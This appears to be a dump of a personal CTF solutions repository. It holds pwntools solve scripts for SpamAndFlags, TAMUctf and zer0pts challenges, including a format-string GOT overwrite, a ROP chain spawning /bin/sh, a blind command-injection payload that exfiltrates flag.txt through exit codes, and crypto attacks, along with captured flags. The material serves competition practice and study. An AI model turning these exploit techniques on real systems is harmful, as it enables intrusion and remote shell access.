lua_pushinteger(Alice, (lua_Integer)table[i]); 141 | lua_rawseti(Alice, -2, i+1); 142 | } 143 | lua_call(Alice, 1, 1); 144 | 145 | // Get Alice's response 146 | for (int i = 0; i < 32; i++) { 147 | lua_rawgeti(Alice, -1, i+1); 148 | int rem = lua_tointeger(Alice, -1) - 1; 149 | if (!(0 <= rem && rem < 96)) return false; 150 | if (table[rem] != 1) return false; 151 | table[rem] = 0; 152 | lua_pop(Alice, 1); 153 | } 154 | lua_pop(Alice, 1); 155 | 156 | // Send the table to Bob 157 | lua_getglobal(Bob, "Bob2"); 158 | lua_createtable(Bob, 96, 0); 159 | for (int i = 0; i < 96; i++) { 160 | int present = table[i] == 0 ? 0 : 1; 161 | lua_pushinteger(Bob, (lua_Integer)present); 162 | lua_rawseti(Bob, -2, i+1); 163 | } 164 | lua_call(Bob, 1, 1); 165 | 166 | // Get Bob's response 167 | 168 | for (int i = 0; i < 32; i++) { 169 | lua_rawgeti(Bob, -1, i+1); 170 | int guess = lua_tointeger(Bob, -1) - 1; 171 | if (!(0 <= guess && guess < 96)) return false; 172 | if (table[guess] != 2) return false; 173 | table[guess] = 0; 174 | lua_pop(Bob, 1); 175 | } 176 | lua_pop(Bob, 1); 177 | 178 | return true; 179 | } 180 | 181 | bool trial() { 182 | printf("running part 1... "); 183 | for (int i = 0; i < trials; i++) { 184 | if (!part1_checkonce()) return false; 185 | } 186 | printf("passed\nrunning part 2... "); 187 | for (int i = 0; i < trials; i++) { 188 | if (!part2_checkonce()) return false; 189 | } 190 | printf("passed\n"); 191 | return true; 192 | } 193 | 194 | bool run() { 195 | // Create two instances of the code, one for all of Alice's handling 196 | // and the other for all of Bob's 197 | Alice = luaL_newstate(); Bob = luaL_newstate(); 198 | 199 | // Give them table and math stdlibs 200 | luaL_requiref(Alice, LUA_TABLIBNAME, luaopen_table, 1); lua_pop(Alice, 1); 201 | luaL_requiref(Alice, LUA_MATHLIBNAME, luaopen_math, 1); lua_pop(Alice, 1); 202 | luaL_requiref(Bob, LUA_TABLIBNAME, luaopen_table, 1); lua_pop(Bob, 1); 203 | luaL_requiref(Bob, LUA_MATHLIBNAME, luaopen_math, 1); lua_pop(Bob, 1); 204 | 205 | if (luaL_dofile(Alice, fp)) return false; 206 | if (luaL_dofile(Bob, fp)) return false; 207 | 208 | bool won = trial(); 209 | lua_close(Alice); lua_close(Bob); 210 | return won; 211 | } 212 | 213 | int main(void) { 214 | setvbuf(stdout, NULL, _IONBF, 0); 215 | urand = fopen("/dev/urandom", "r"); 216 | if (!urand) return 0; 217 | //alarm(timeout); 218 | if (getfile()) { 219 | if (run()) { 220 | system("cat flag.txt"); 221 | } else { 222 | puts("failed"); 223 | } 224 | } 225 | fclose(urand); 226 | return 0; 227 | } 228 | 229 | -------------------------------------------------------------------------------- /2020-SpamAndFlags/OTS/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import hashlib 3 | import hmac 4 | import pwn 5 | import re 6 | import secrets 7 | 8 | 9 | class OTS: 10 | def __init__(self): 11 | self.key_len = 128 12 | self.priv_key = secrets.token_bytes(16*self.key_len) 13 | self.pub_key = b''.join([self.hash_iter(self.priv_key[16*i:16*(i+1)], 255) for i in range(self.key_len)]).hex() 14 | 15 | def hash_iter(self, msg, n): 16 | assert len(msg) == 16 17 | for i in range(n): 18 | msg = hashlib.md5(msg).digest() 19 | return msg 20 | 21 | def wrap(self, msg): 22 | raw = msg.encode('utf-8') 23 | assert len(raw) <= self.key_len - 16 24 | raw = raw + b'\x00'*(self.key_len - 16 - len(raw)) 25 | raw = raw + hashlib.md5(raw).digest() 26 | return raw 27 | 28 | def sign(self, msg): 29 | raw = self.wrap(msg) 30 | signature = b''.join([self.hash_iter(self.priv_key[16*i:16*(i+1)], 255-raw[i]) for i in range(len(raw))]).hex() 31 | self.verify(msg, signature) 32 | return signature 33 | 34 | def verify(self, msg, signature): 35 | raw = self.wrap(msg) 36 | signature = bytes.fromhex(signature) 37 | assert len(signature) == self.key_len * 16 38 | calc_pub_key = b''.join([self.hash_iter(signature[16*i:16*(i+1)], raw[i]) for i in range(len(raw))]).hex() 39 | assert hmac.compare_digest(self.pub_key, calc_pub_key) 40 | 41 | 42 | while True: 43 | p = pwn.remote('34.89.64.81', 1337) 44 | 45 | p.recvuntil('\npub_key = ') 46 | pub_key = p.recvline(keepends=False) 47 | 48 | sign = p.recvline(keepends=False) 49 | m = re.match(b'sign\(\"(?P.+)\"\) = (?P\w+)', sign) 50 | msg, sign = m.group('msg'), m.group('sign') 51 | wrapped_msg = msg.ljust(128 - 16, b'\x00') 52 | msg_hash = hashlib.md5(wrapped_msg).digest() 53 | wrapped_msg += msg_hash 54 | 55 | for i in range(len(msg) - 3): 56 | if all(a >= b for a, b in zip(msg[i:i+4], b'flag')): 57 | forged_msg = msg[:i] + b'flag' + msg[i+4:] 58 | forged_msg = forged_msg.ljust(112, b'\x00') 59 | forged_hash = hashlib.md5(forged_msg).digest() 60 | if all(a >= b for a, b in zip(msg_hash, forged_hash)): 61 | forged_msg += forged_hash 62 | forged_sign = '' 63 | 64 | for j, (a, b) in enumerate(zip(wrapped_msg, forged_msg)): 65 | hash_sign = bytes.fromhex(sign[32*j:32*(j+1)].decode()) 66 | for k in range(a - b): 67 | hash_sign = hashlib.md5(hash_sign).digest() 68 | forged_sign += hash_sign.hex() 69 | 70 | pwn.log.info(forged_sign) 71 | break 72 | else: 73 | p.close() 74 | continue 75 | 76 | p.recvline() 77 | p.recvline() 78 | p.sendline(forged_msg[:-16].strip(b'\x00')) 79 | p.recvline() 80 | p.sendline(forged_sign) 81 | 82 | pwn.context.log_level = 'INFO' 83 | p.interactive() 84 | break 85 | 86 | # SaF{better_stick_with_WOTS+} 87 | -------------------------------------------------------------------------------- /2020-SpamAndFlags/Shor/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.Util.number import long_to_bytes 3 | from gmpy2 import gcd 4 | import re 5 | 6 | 7 | def egcd(a, b): 8 | if a == 0: 9 | return (b, 0, 1) 10 | else: 11 | g, y, x = egcd(b % a, a) 12 | return (g, x - (b // a) * y, y) 13 | 14 | 15 | def modinv(a, m): 16 | g, x, y = egcd(a, m) 17 | if g != 1: 18 | raise Exception('modular inverse does not exist') 19 | else: 20 | return x % m 21 | 22 | 23 | def factor(N, a, r): 24 | i = 2 25 | while True: 26 | if r % i == 0: 27 | b = pow(a, r // i, N) 28 | p = int(gcd(b - 1, N)) 29 | 30 | if p != 1 and p != N: 31 | break 32 | 33 | c = 0 34 | for j in range(i): 35 | c += pow(b, j, N) 36 | p = int(gcd(c, N)) 37 | 38 | if p != 1 and p != N: 39 | break 40 | 41 | i += 1 42 | q = N // p 43 | assert p * q == N 44 | return p, q 45 | 46 | 47 | regex = re.compile('\"(?P\S+)\"') 48 | flag = '' 49 | 50 | N = 3416356674834751205654717212071257500891004481277675802480899188082530781676946620047015174887499659759994825842311234570747025346194269593432201439553474104726357466423594117729691868522956307297012280773715009336391891527625452216694507033820734082774562411516154786816821799139109814782126237257954493537197995738073491626828821669476230971917909830728881441510625888688452097090833935723507974378873159008169669871084895916325728244256040953051421900207387581176872063669038872455907987681935770956653031961149178257817864076041790032686112960572631551662957882869381443972442620140208708846269452219913845752692040947773507733718069833552772389207842695834274596725601269983676368769026979527592867536756156322713708743946168101133561610926637848052441486328236721261416666787449231413994156377194904834445823205296393743874301916674863699954694052632649609814866866736039080083583524584794922211502053023693044595773419383663012687997167507079146962402233459843639452122470388183046710067826419546875172302687074961955298456070785841370571843245308435171042459399472863709320869064664474183630027880885944811713149681771668394805036911499525569725364876617355369131347083485036868905546790785483319564946606640739539740000000000001 51 | e = 65537 52 | enc_message = 2761381113410910848061431300230480498009026842114852457129705785252041512194320382139992607990523185711265558416291496166730903035100162870595351770249633960051157494292619436506842619411602708064741507667875940943200199830629156186966769529608798700085556407391764625041336657163923382446150480716540088086014660597539878575206223118477684139141382850852953596383417648061979405616513335248108939135401317656931895525429904559698612462360168606617613714419613744092435822735639489593242225248516709920461824689537628749384086945788127710215825798099407801004302766884540735728033427144173723144540438415615972235181583759134738853378222450717263640639637197665448224710544718570975791277317803802004936569093622711877823386532910160498710047256140658328647339389246101926399729410376417737133141155904985744908184776453418311221976969592540762037641244078748922362005375622546885851174461996130712712012110007014160102248347323006075438769540656035545567873264556383372389088602088215706058030212514538785797366617737232735823224036561813895187291608926452840528509117072693473454500812176162568323908661021204552565519477362475191073574449068082075563301731771738898463551240775337975574420761416092262799207037100971408380894166511517 53 | a = 1055996486206343282900378582239294340792376691775344496933466299728441053731145595712130431971194025194789509268517622355475415699064683110017844110306038495669213294512300387373611752219357804438832230491906844604655582965815296272037439743337013140766325647199056633009800091721973373266284818365172234615731317282201888653323643200935585860690203559729920660732314791721010170075598012541020242212729633805500814805618699794746356843998160925987970495456937473496798050761424036710102809671554730207807099004826662404274037937805782414813889799092703191357895006998518119807675096524648668105710889520659292064959937083980230094792797660331780117673207101104336730141359386565164773139490936534220599679944915992879676814408158495294462729255659309148721319247178480380853423886332215762669161651462318898104177785569288415822890569538608749637828249746515568505820117008373602089204739125324422734144022818114547426262144105857697865525296381197288010175218167887685455029178631077447578643219786514691704255525825989866345315707869283456054142607295582337561819546799116128115591556912433522048087071838479458051821758524175955048742012086896119371652370796825701079986027369043480123068780648561901319601133577394286114422843702432 54 | r = 4238905730299571511585410925992706985376240434599640426773730678688148201988287191828553430803354181800011233926113337354226603520697209783788323782074002570383969322036520148451330264738762823474389251519331890832896947816064451687914322654345208162866922224699576968808732333973644883697916363675589456970485473534854730462259729068231976448513756950228426287377821431710399101131033185211011454635767134370015858843667379202869398742242467296213912220088796029353706699766346980050862526610289204788284877119355791479746742348282652679426554008068210121318762257110078200503361306295050591594278560207575724450235102000132261276258646393369631386590170896001661198420859987589818266451143197584239528981328996248775188255680196412623826715722830666634670196882972751433186125430873698792718250532170807439694934936990057791640607436435301727450448556704183815360000000000000 55 | 56 | p, q = factor(N, a, r) 57 | 58 | phi_N = (p - 1) * (q - 1) 59 | d = modinv(e, phi_N) 60 | 61 | message = long_to_bytes(pow(enc_message, d, N)).decode() 62 | m = regex.search(message) 63 | flag += m.group('flag') 64 | 65 | N = 2991827431838294862966784891173748689442033961794877893451940972359233879769847725449228773148722094529956867779219983311911235955792605578395060263578808536063092916571136475239794888147950848214752108530874669597656040523610448227520304582640063474873583656809304967459752224335947620804298564179924078757517862179181060444078070172493793150026947727360122588243906747708457615039889721849607047000641714571579283754866961814830107819957024391003568024994181049938378413334966649251188961819321448682445927391114305975879570003772269969469588663531270178974591969925207103686182551942494472789179737369451543233260843746179834780752253276798913060176677373344860806929972937611690448747280201511208307706943617522916333696589954418418512093433247071173377326670866040814437718937690090980047459933178869155400675905036321541350337851757862692429647759994174403035047868866380532338380873261053816376341913465724835415340251162893735767326552546919855284937726326731441519889186734423951395212523220146945845162409884737237923785964497202757230883029324416637456965308473300854577504808364024330378522663828056533671597367520562225643048706011802233019317215123933958808152725154411743332088899288508468593418829959011282400000000001 66 | e = 65537 67 | enc_message = 2531660758159102106999922822493820302169183249029699298380750419804912981078240111089565187748502615169619449928310076159800762484249020730886854764078009557326494365796575309754306060895741885211198610505721203507814192128839503737291197069234351836810854223030378000820938504735126183620662226211294903835627678811157291048664678572304025634924267129428510979026314050106995314523210612331981768597984203429076023591397856707455528854522104986240723455104438487966058421959390227565424319636235073477666997681029116486647463880002823388608260093894456795540694720629625527329323684878152739366013269778011757631190103115043539594628554367787519741106584004241327421302272094113265773180162899203764874825552334657449934441071352148125558886491091793139344423110165781566037078043832296825375895852298473387015088375898655324500306048183570101483693662534978822756258118410200222284524929885793009405552015370616552679622972347070759844379580088041991521148785824291751921210406073912891922688439114984052272250782118904388849553081232965036241428691829851803371361644484044221342965264168539902013379507771257120299352913163345981016945342848447336225869621056777226811065585619753827670072917635971752035946214183086097252078340377 68 | a = 1829153880209649817133271412751305881103610013739763088923077280434366008959719235452957078221891237308379781288879363791539430220845383889227740411644955884968196574019943709097001094862645074306716496415534566247816774897269238114091279124124091700764840107465580642637459959015903827486467910611609784194608612149345770563267560917386252645759909538776262146737382917080133277398970758572689056844853243427439055377394656794013749225347998189709948887047577042647905170078524777397680898109253683306111499807322326245646845259128584230086206539835934418642057740414834277630066579742969677059470203779983187308326453607258426368416380384523318952851218644550009238431278993675363425049662149668470280231683337923276272387771840117173908330607743659713860257263643040431559650893577414139138217937759522352285809151061311523338500433765023972281129640106225269532535796894086126118104841162208461340696704839068163154370315977002827143257580471764590022552133582987462716243934183478321807246787571759906333816115673026182562618376889910687549643049481188484777403338304913851833231384760713336723555123914290623703216306684354716413002921801327907807492210145023967509638599883924815959016469514087510318652377090383573408143189875 69 | r = 38560713413761379609566936395075572668071080369628115670192641624417776440980701273226992681066964803737397381408237287334201476745729770113169915736677140504101099304776220304170036785989541305856749630544154979967581254694324718665152362814949431192818076514159143920559225991949100970917003919304615824659209163754766161614749009649133180228055247044270344226425323332646355266368819265059396049425171682329538795580522984697326474922568268329719528505679116152346876832004895230968147369090419957506470480923337840332756289795096914722280492211387936874519432905484354110305469319291675552896266756806053842137289993143099968838508275750939158109007269956200282881600747847025693151059090777570290662683532429738733835486556597653924207696863659981475762012361157891219362456668118612981384660665186944304494624842569258321135919050716021742463590031294193325414875000000000000 70 | 71 | p, q = factor(N, a, r) 72 | 73 | phi_N = (p - 1) * (q - 1) 74 | d = modinv(e, phi_N) 75 | 76 | message = long_to_bytes(pow(enc_message, d, N)).decode() 77 | m = regex.search(message) 78 | flag += m.group('flag') 79 | 80 | N = 639706454183841086618060975133506435367679028105293302817889792041855677471135941103994762703392838736550531721530519902301470750304779911155948306612218591799138935866091048693721293892613230480914682428803749924762632427878750084742837813855723359392232771898376144411173068466325310996285248870190702255300295718279606810768110856840161610010502480738215025268551716825052096172524263657070455782204684928203735045097429967165474359767392495180608955232616327356163710417152398486581379295622675189862310699861836394640703199409486435353374174382718391365103593266779715410988747697764215166949296221369189067831531714495456829718257893130130416683979435112783237218934779364887142409293199844536181411788012117636490932176828156653094980496223057242278831933489822824530461645422526392004499974646624081371558910799120884541611121693589957355055417494388914462063844749724848803935934167650377339476529423342556181857024514566806542877109818592708843793048372638440744883734584671163178855889594818530649315246941990069941785981955697316724277843473035594824612773270449343568535991703905499866381894302869556783328828954361131697748870040510488262322072045737316482227372952773445112189325175417604463517935092556879962500000000001 81 | e = 65537 82 | enc_message = 314557466900381591242205623579215445569259870097282668596289597435494983504258313716837830074410569549101885948568828637582431634467367466943722507276554179061705214704312821336717217276072271410024795714853171285472330519984587064351490291946402527076873292156733615667090804533241881526392028722581482187557723462380933494893691818228096727143987965819030197035623098060074104267041580315471527363573905276688203330678967500136780376909740475740022222411007552160610953916933397422648078574769436057858371423387220212599778301238209747504040262792435824139984626671181921830676755679706257094800530170169257172295175588719735103506516267986479535271545672025427357482695339982756270595766559224783234664773225592292836903578759322554594969550738489322024841847122750086552969841091794921189991698185013467950728556383510751767964677981993613884189958377917008871409895441041469390537626990484305898147725819267800469005035373857720477647896885556328405130736251247026436983943132062518372195855113707867220345039790830160353546642486915870683279621035540163308693026969159279331149570510984194914611989693165753486432581824076235984213086481799164719307250544991262352133753835282085522276721189362210449308160808673482171271973635244 83 | a = 639304614539878463528258079784485748453961997788947903221008691564113768520824054912297976536885940415782622645768931907574552208662557961036585337121563972787735955983309963130196394585676321161401997238426213858836312606239377567018014879457602469055903523965367593064504320727353617645008844597485114399103468775003826394898641131760075425500944415018954023297315378870220312096580715953041280770744209039443690535218083691700925452593344949001347653528186426823387750740646066047708041588621042651593046230315985777228755475771740021166081093461613932804274331432897373691848802487920026711269596469629200479861558951471085509476724616504184151217773738289142755911284204461983148202468210535247036226138104957496934373369643383555984827000297035903273630278899210336015318311506134648061163404223082855619761623079750994914318022721602011861174058485022590668829472045006137826398687345964608059482609412099029725762290028597233216240977074149903617204351904445855117337610478775944092457560644108917597151881101242098843506234170355231516604966143012558147526635689505625221752278863528033799535375216911655599336840088585218525839719910996381383231125137334134672943265221074537386720854796169924885902033065767799038702600353014 84 | r = 14340465843181389754296043575153150999880553806256424482462005187943660544889251567825193761881671644627116681986880575247775472382429862008693821301217688225108915963042069716362423106872635469122008951761035973093847332884289274367583111876861239752881719413283646415859188694420897533751169969651755858306856280014457872696378749964024941714569321714532004454417234363334457733364193711334660355969032846878694439112996047986990515538880360978717487357475370816216899522824940567676602652086299685154259807064490034942183064960225615267196543096878918185306891778544872672261753262617338859347952171566380431887826270695379201691684193987862510003351182776540049015193655070499556038737924000948120384038167880639676616861182091141971972645457231169645122120054623647146495784214301275060819958507861645053527917643055478749534854842138961878541223358154296875 85 | 86 | p, q = factor(N, a, r) 87 | 88 | phi_N = (p - 1) * (q - 1) 89 | d = modinv(e, phi_N) 90 | 91 | message = long_to_bytes(pow(enc_message, d, N)).decode() 92 | m = regex.search(message) 93 | flag += m.group('flag') 94 | 95 | print(flag) 96 | -------------------------------------------------------------------------------- /2020-TAMUctf/B64DECODER/b64decoder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/B64DECODER/b64decoder -------------------------------------------------------------------------------- /2020-TAMUctf/B64DECODER/ld-linux.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/B64DECODER/ld-linux.so.2 -------------------------------------------------------------------------------- /2020-TAMUctf/B64DECODER/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/B64DECODER/libc.so.6 -------------------------------------------------------------------------------- /2020-TAMUctf/B64DECODER/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | import re 3 | 4 | 5 | HOST, PORT = 'challenges.tamuctf.com', 2783 6 | DEBUG = False 7 | 8 | if DEBUG: 9 | env = {'LD_PRELOAD': './libc.so.6'} 10 | p = pwn.process(['./ld-linux.so.2', './b64decoder'], env=env) 11 | else: 12 | p = pwn.remote(HOST, PORT) 13 | pwn.context.log_level = 'DEBUG' 14 | 15 | libc = pwn.ELF('./libc.so.6') 16 | 17 | regex = r'0x[0-9a-f]+' 18 | line = p.recvline_regex(regex).decode() 19 | a64l_libc = int(re.search(regex, line).group(), 16) 20 | 21 | libc_base = a64l_libc - libc.symbols['a64l'] 22 | pwn.log.info('libc.so.6: 0x{:08X}'.format(libc_base)) 23 | 24 | system_libc = libc_base + libc.symbols['system'] 25 | 26 | p.recvuntil('Enter your name! \n') 27 | 28 | fsb_payload = '%{}c%77$hn'.format(system_libc & 0xFFFF).encode() 29 | fsb_payload = fsb_payload.ljust(0x18, b'\x00') 30 | fsb_payload += pwn.p32(0x0804B398) 31 | fsb_payload = fsb_payload.ljust(0x1F, b'\x00') 32 | 33 | p.send(fsb_payload) 34 | 35 | p.recvuntil('Welcome, ') 36 | a = p.recvline(keepends=False) 37 | 38 | p.sendline('/bin/sh') 39 | 40 | pwn.context.log_level = 'INFO' 41 | p.interactive() 42 | 43 | # gigem{b1n5h_1n_b45364?} 44 | -------------------------------------------------------------------------------- /2020-TAMUctf/BLIND/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | p = pwn.remote('challenges.tamuctf.com', 3424) 5 | pwn.context.log_level = 'DEBUG' 6 | 7 | payload = 'A=`cat flag.txt`;' 8 | payload += 'B=`echo ${{A:{}:1}}`;' 9 | payload += 'C=`printf \'%d\' "\'$B"`;' 10 | payload += 'exit $C;' 11 | 12 | flag = '' 13 | index = 0 14 | 15 | while True: 16 | p.recvuntil('Execute: ') 17 | p.sendline(payload.format(index)) 18 | 19 | exitcode = int(p.recvline(keepends=False)) 20 | if exitcode == 0: 21 | break 22 | 23 | flag += chr(exitcode) 24 | index += 1 25 | 26 | pwn.context.log_level = 'INFO' 27 | p.close() 28 | 29 | pwn.log.info(flag) 30 | 31 | # gigem{r3v3r53_5h3ll5} 32 | -------------------------------------------------------------------------------- /2020-TAMUctf/GUNZIP_AS_A_SERVICE/gunzipasaservice: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/GUNZIP_AS_A_SERVICE/gunzipasaservice -------------------------------------------------------------------------------- /2020-TAMUctf/GUNZIP_AS_A_SERVICE/solve.py: -------------------------------------------------------------------------------- 1 | import gzip 2 | import pwn 3 | 4 | 5 | HOST, PORT = 'challenges.tamuctf.com', 4709 6 | DEBUG = False 7 | 8 | if DEBUG: 9 | p = pwn.process('./gunzipasaservice') 10 | else: 11 | p = pwn.remote(HOST, PORT) 12 | pwn.context.log_level = 'DEBUG' 13 | 14 | read_plt = 0x08049040 15 | execl_plt = 0x080490B0 16 | pop_pop_pop_ret = 0x08049479 17 | 18 | bss = 0x0804C048 19 | 20 | payload = b'A' * 0x418 21 | payload += pwn.p32(read_plt) 22 | payload += pwn.p32(pop_pop_pop_ret) 23 | payload += pwn.p32(0) 24 | payload += pwn.p32(bss) 25 | payload += pwn.p32(8) 26 | payload += pwn.p32(execl_plt) 27 | payload += b'AAAA' 28 | payload += pwn.p32(bss) 29 | payload += pwn.p32(0) 30 | 31 | payload = gzip.compress(payload) 32 | assert len(payload) <= 0x200 33 | 34 | payload = payload.ljust(0x200, b'\x00') 35 | 36 | p.send(payload) 37 | p.send(b'/bin/sh\x00') 38 | 39 | pwn.context.log_level = 'INFO' 40 | p.interactive() 41 | 42 | # gigem{r0p_71m3} 43 | -------------------------------------------------------------------------------- /2020-TAMUctf/JUST_BC/just-bc.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/JUST_BC/just-bc.bin -------------------------------------------------------------------------------- /2020-TAMUctf/JUST_BC/just-bc.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/JUST_BC/just-bc.o -------------------------------------------------------------------------------- /2020-TAMUctf/JUST_BC/libstd-c32b051c3aafd36c.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/JUST_BC/libstd-c32b051c3aafd36c.so -------------------------------------------------------------------------------- /2020-TAMUctf/LEANING_TOWER/program.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/LEANING_TOWER/program.exe -------------------------------------------------------------------------------- /2020-TAMUctf/LEANING_TOWER/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from hashlib import sha1 3 | 4 | 5 | data = [ 6 | 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 7 | '9033bacfd0636139084ea80aa654113f3240f7fc', 8 | '97f0f871be356f464bca862487e365d92fc507bb', 9 | '11071c464490c8baaa979bf83e098f3318b36003', 10 | '45fa0b57640f797ad28709cf7f3b495d61514418', 11 | '2540407ace41adaaa279c9a9f8d900bd87a8aa5d', 12 | 'f4c50cd4475f6a1833180506817b4bbd45dc17f7', 13 | 'f0e8c88568fcb989f60f09f52b1aad1b7d2454b5', 14 | '744dde01735bc3d2b047d7d9fbc5662b97628f01', 15 | '2cab6da567fa23426f81d54326ca537e5bd89d7e', 16 | '7f0bc15fb2695af18fd1e6c8df386f824cf67af9', 17 | '2326181b6f80ba790e6f164190dfdda8106a31ff', 18 | '59a7b725369a7d6af671b7ae79e2129e0517b289', 19 | 'b070a87bd15350073f989853d4f5aa234c563d11', 20 | '72c77719d0ae83311c01914cdedcff2ebf06667b', 21 | '5b8e4855bdc9d3bea82500fea95d4306d304dccb' 22 | ] 23 | 24 | data = list(map(lambda x: bytes.fromhex(x), data)) 25 | flag = '' 26 | 27 | for i in range(15): 28 | target = bytes(a ^ b for a, b in zip(data[i], data[i+1])) 29 | 30 | for ch in range(0x100): 31 | if sha1(bytes([ch])).digest() == target: 32 | flag += chr(ch) 33 | break 34 | 35 | print(flag) 36 | -------------------------------------------------------------------------------- /2020-TAMUctf/SPLATTER_CALC/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | def egcd(a, b): 5 | if a == 0: 6 | return (b, 0, 1) 7 | else: 8 | g, y, x = egcd(b % a, a) 9 | return (g, x - (b // a) * y, y) 10 | 11 | 12 | def ModInv(a, m): 13 | g, x, y = egcd(a, m) 14 | if g != 1: 15 | raise Exception('modular inverse does not exist') 16 | else: 17 | return x % m 18 | 19 | 20 | def Step(s1, s2): 21 | if s2 & 7 == 0: 22 | ret = s1 23 | elif s2 & 7 == 1: 24 | ret = s1 + s2 25 | elif s2 & 7 == 2: 26 | ret = s1 - s2 27 | elif s2 & 7 == 3: 28 | ret = s1 * s2 29 | elif s2 & 7 == 4: 30 | ret = s1 * s1 31 | elif s2 & 7 == 5: 32 | ret = s1 << (s2 & 0xFF) 33 | elif s2 & 7 == 6: 34 | ret = s1 >> (s2 & 0xFF) 35 | elif s2 & 7 == 7: 36 | ret = s1 ^ s2 37 | return ret & ((1 << 64) - 1) 38 | 39 | 40 | def StepInv(ret, s2): 41 | if s2 & 7 == 0: 42 | s1 = ret 43 | elif s2 & 7 == 1: 44 | s1 = ret - s2 45 | elif s2 & 7 == 2: 46 | s1 = ret + s2 47 | elif s2 & 7 == 3: 48 | pwn.log.error('Inverse Multiplication') 49 | exit(1) 50 | elif s2 & 7 == 4: 51 | pwn.log.error('Inverse Square') 52 | exit(1) 53 | elif s2 & 7 == 5: 54 | s1 = ret >> (s2 & 0xFF) 55 | elif s2 & 7 == 6: 56 | s1 = ret << (s2 & 0xFF) 57 | elif s2 & 7 == 7: 58 | s1 = ret ^ s2 59 | return s1 & ((1 << 64) - 1) 60 | 61 | 62 | value = 0xACDEE2ED87A5D886 63 | seed = 0x471DE8678AE30BA1 64 | 65 | for i in range(8): 66 | seed -= 0x24A452F8E 67 | seed *= ModInv(0x83F66D0E3, 1 << 64) 68 | seed &= (1 << 64) - 1 69 | value = StepInv(value, seed) 70 | 71 | p = pwn.remote('challenges.tamuctf.com', 60032) 72 | pwn.context.log_level = 'DEBUG' 73 | 74 | p.sendlineafter('Please enter an initial rng: ', str(seed)) 75 | flag = p.recvline().decode().strip() 76 | 77 | pwn.context.log_level = 'INFO' 78 | p.close() 79 | 80 | pwn.log.info(flag) 81 | 82 | # gigem{00ps_ch3ck_y0ur_7upl35} 83 | -------------------------------------------------------------------------------- /2020-TAMUctf/SPLATTER_CALC/splatter-calc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-TAMUctf/SPLATTER_CALC/splatter-calc -------------------------------------------------------------------------------- /2020-zer0pts/Hobbit/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/Hobbit/bzImage -------------------------------------------------------------------------------- /2020-zer0pts/Hobbit/chall.hbt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/Hobbit/chall.hbt -------------------------------------------------------------------------------- /2020-zer0pts/Hobbit/hobbit.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/Hobbit/hobbit.ko -------------------------------------------------------------------------------- /2020-zer0pts/Hobbit/rootfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/Hobbit/rootfs.cpio -------------------------------------------------------------------------------- /2020-zer0pts/Hobbit/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | def crypt(data, key): 5 | """RC4 algorithm""" 6 | x = 0 7 | box = list(range(256)) 8 | for i in range(256): 9 | x = (x + int(box[i]) + int(key[i % len(key)])) % 256 10 | box[i], box[x] = box[x], box[i] 11 | x = y = 0 12 | out = [] 13 | for char in data: 14 | x = (x + 1) % 256 15 | y = (y + box[x]) % 256 16 | box[x], box[y] = box[y], box[x] 17 | out.append(char ^ box[(box[x] + box[y]) % 256]) 18 | 19 | return bytes(out) 20 | 21 | 22 | with open('./chall.hbt', 'rb') as f: 23 | hbt = f.read() 24 | 25 | key1 = hbt[0x8:0x18] 26 | key2 = hbt[0x18:0x28] 27 | 28 | data = crypt(hbt[0x40:0x80], key1) 29 | 30 | code = pwn.disasm(crypt(hbt[0x80:], key2)) 31 | pwn.log.info(code) 32 | 33 | flag = bytearray(data[0x19:0x19 + 0x27]) 34 | 35 | for i in range(len(flag)): 36 | flag[i] ^= (0x27 - i) 37 | 38 | flag = bytes(flag).decode() 39 | pwn.log.info(flag) 40 | -------------------------------------------------------------------------------- /2020-zer0pts/Hobbit/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | qemu-system-x86_64 \ 3 | -m 256M \ 4 | -kernel ./bzImage \ 5 | -initrd ./rootfs.cpio \ 6 | -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \ 7 | -cpu kvm64,+smep,+smap \ 8 | -monitor /dev/null \ 